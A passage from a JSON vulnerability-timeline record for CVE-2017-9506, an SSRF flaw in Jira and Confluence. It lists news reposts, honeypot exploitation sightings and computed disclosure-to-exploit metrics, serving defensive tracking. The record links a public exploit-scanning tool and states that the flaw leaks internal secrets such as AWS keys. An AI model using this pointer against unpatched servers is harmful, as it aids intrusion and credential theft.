\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0440\u044f\u0434 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 Jira \u0438 Confluence. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043c\u0443\u0437\u044b\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043a\u0440\u0443\u043f\u043d\u044b\u0439 \u043c\u0430\u0433\u0430\u0437\u0438\u043d \u043e\u0431\u0443\u0432\u0438 \u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u043e\u0440\u0433\u0430\u043d \u0432 \u0441\u0444\u0435\u0440\u0435 \u0441\u043f\u043e\u0440\u0442\u0430.\n\nhttps://www.zdnet.com/article/jira-bug-exposed-private-server-keys-at-major-companies-researcher-finds/", "url": "https://t.me/infowatchout/141"}, {"timestamp": "2026-09-14T00:00:09.351Z", "date_only": false, "value": "2026-09-14T00:00:09.351353Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/infowatchout/141", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "27af566c-650f-4323-9a48-54314830cd8c", "content": "\u041e\u0448\u0438\u0431\u043a\u0430 \u0432 Jira \u0438 Confluence \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0440\u043e\u0433\u043e \u043e\u0431\u043e\u0439\u0442\u0438\u0441\u044c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0442\u043e\u0440\u043e\u043f\u044f\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0430\u0442\u0447\u0438 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u041f\u041e.\n\n\u0418\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u043a\u0441\u0438 \u044d\u0442\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c XSS- \u0438 SSRF-\u0430\u0442\u0430\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043e\u0434 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a AWS. \u0427\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0430\u043c\u043e\u0439 \u0440\u0430\u0437\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\nCVE-2017-9506, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u044d\u0442\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0435\u0439\u0448\u0438\u0435 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0438\u0441\u044b \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u0431\u044b\u043b\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 2017 \u0433\u043e\u0434\u0443. Atlassian \u0443\u0436\u0435 \u0434\u0430\u0432\u043d\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0431\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u043e\u0434\u043d\u0430\u043a\u043e \u043f\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0440\u044f\u0434 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 Jira \u0438 Confluence. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043c\u0443\u0437\u044b\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043a\u0440\u0443\u043f\u043d\u044b\u0439 \u043c\u0430\u0433\u0430\u0437\u0438\u043d \u043e\u0431\u0443\u0432\u0438 \u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u043e\u0440\u0433\u0430\u043d \u0432 \u0441\u0444\u0435\u0440\u0435 \u0441\u043f\u043e\u0440\u0442\u0430.\n\nhttps://www.zdnet.com/article/jira-bug-exposed-private-server-keys-at-major-companies-researcher-finds/", "url": "https://t.me/infowatchout/141", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-18T10:15:08.926Z", "date_only": false, "value": "2026-09-18T10:15:08.926419Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-17)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "4aa60ef3-8112-44f7-8a3b-b8d85cb4534d", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-22T10:00:06.688Z", "date_only": false, "value": "2026-09-22T10:00:06.688658Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-21)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "e99a50b1-fb1c-4ec1-9b64-87f1084d1251"}, {"timestamp": "2026-10-05T00:00:00Z", "date_only": false, "value": "2026-10-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-10-05)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "93c51132-d57e-4fd2-83b1-13675cbc4be4"}, {"timestamp": "2026-10-06T00:00:00Z", "date_only": false, "value": "2026-10-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-10-06)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "f91e4ff5-5a71-40ab-8fb7-8111c85810a6"}, {"timestamp": "2026-10-19T00:00:00Z", "date_only": false, "value": "2026-10-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-10-19)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "0e2d85e2-ccbb-4dec-8977-39fd954910bd"}, {"timestamp": "2026-11-08T00:00:00Z", "date_only": false, "value": "2026-11-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-11-08)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "81ece1f0-da96-4d28-a0a9-e97e5c73afa5"}, {"timestamp": "2026-11-09T09:03:00Z", "date_only": false, "value": "2026-11-09T09:03:00.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/109769", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "9e7d33d5-a8c3-4841-996b-0ea719356744", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #SSRF #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Jira-Scan\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a random-robbie\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 193  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 45\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-11-09 08:36:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2017-9506 - SSRF\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/109769", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-11-10T00:00:00Z", "date_only": false, "value": "2026-11-10T00:00:00+00:00", "kind": "kev", "label": "Last seen", "source": "shadowserver", "record": "CVE-2017-9506", "field": "timestamps.last_seen_at", "uuid": "464b7f3d-0c16-4412-a9aa-0c295911257b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-11-10T00:00:00Z", "date_only": true, "value": "2026-11-10", "kind": "kev", "label": "Observation date", "source": "shadowserver", "record": "CVE-2017-9506", "field": "evidence.0.details.observation_date", "uuid": "464b7f3d-0c16-4412-a9aa-0c295911257b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-11-10T00:00:00Z", "date_only": false, "value": "2026-11-10T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "shadowserver", "record": "CVE-2017-9506", "field": "status.status_updated_at", "uuid": "464b7f3d-0c16-4412-a9aa-0c295911257b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-11-12T01:00:02Z", "date_only": false, "value": "2026-11-12T01:00:02+00:00", "kind": "kev", "label": "Recorded", "source": "shadowserver", "record": "CVE-2017-9506", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "464b7f3d-0c16-4412-a9aa-0c295911257b", "status": {"status_reason": "confirmed", "exploited": true}}], "metrics": {"as_of": "2026-11-12T08:41:01.823Z", "anchors": {"origin": {"timestamp": "2017-05-31T00:00:00Z", "date_only": false, "value": "2017-05-31T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "cve-2017-9506", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2017-05-31T00:00:00Z", "date_only": false, "value": "2017-05-31T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "cve-2017-9506", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2018-04-30T16:18:43Z", "date_only": false, "value": "2018-04-30T16:18:43.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/1435", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "f434baa8-c209-4826-8a9c-bd053f21bc83", "content": "CVE-2017-9506 Jira-Scan https://github.com/random-robbie/Jira-Scan", "url": "https://t.me/thebugbountyhunter/1435", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": {"timestamp": "2026-04-15T08:29:24Z", "date_only": false, "value": "2026-04-15T08:29:24+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2017-9506", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "uuid": "464b7f3d-0c16-4412-a9aa-0c295911257b", "status": {"status_reason": "confirmed", "exploited": true}}, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": true, "seconds": 280052964.0, "hours": 77792.49, "days": 3241.35375, "min_seconds": 279966564.0, "max_seconds": 280052964.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2017-05-31T00:00:00Z", "date_only": false, "value": "2017-05-31T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "cve-2017-9506", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-04-15T08:29:24Z", "date_only": false, "value": "2026-04-15T08:29:24+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2017-9506", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "uuid": "464b7f3d-0c16-4412-a9aa-0c295911257b", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit": {"available": true, "seconds": 280052964.0, "hours": 77792.49, "days": 3241.35375, "min_seconds": 279966564.0, "max_seconds": 280052964.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2017-05-31T00:00:00Z", "date_only": false, "value": "2017-05-31T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "cve-2017-9506", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-04-15T08:29:24Z", "date_only": false, "value": "2026-04-15T08:29:24+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2017-9506", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "uuid": "464b7f3d-0c16-4412-a9aa-0c295911257b", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit_publication": {"available": true, "seconds": 28916323.0, "hours": 8032.311944444445, "days": 334.67966435185184, "min_seconds": 28829923.0, "max_seconds": 28916323.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2017-05-31T00:00:00Z", "date_only": false, "value": "2017-05-31T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "cve-2017-9506", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2018-04-30T16:18:43Z", "date_only": false, "value": "2018-04-30T16:18:43.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/1435", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "f434baa8-c209-4826-8a9c-bd053f21bc83", "content": "CVE-2017-9506 Jira-Scan https://github.com/random-robbie/Jira-Scan", "url": "https://t.me/thebugbountyhunter/1435", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 298284061.823014, "hours": 82856.68383972612, "days": 3452.361826655255, "min_seconds": 298197661.823014, "max_seconds": 298284061.823014, "approximate": true, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2017-05-31T00:00:00Z", "date_only": false, "value": "2017-05-31T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "cve-2017-9506", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-12T08:41:01.823Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": true, "seconds": 18231097.823014, "hours": 5064.193839726111, "days": 211.00807665525463, "min_seconds": 18231097.823014, "max_seconds": 18231097.823014, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-04-15T08:29:24Z", "date_only": false, "value": "2026-04-15T08:29:24+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2017-9506", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "uuid": "464b7f3d-0c16-4412-a9aa-0c295911257b", "status": {"status_reason": "confirmed", "exploited": true}}, "end": {"timestamp": "2026-11-12T08:41:01.823Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploit_publication_to_patch": {"available": true, "seconds": 269367738.823014, "hours": 74824.37189528167, "days": 3117.682162303403, "min_seconds": 269367738.823014, "max_seconds": 269367738.823014, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2018-04-30T16:18:43Z", "date_only": false, "value": "2018-04-30T16:18:43.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/1435", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "f434baa8-c209-4826-8a9c-bd053f21bc83", "content": "CVE-2017-9506 Jira-Scan https://github.com/random-robbie/Jira-Scan", "url": "https://t.me/thebugbountyhunter/1435", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-12T08:41:01.823Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}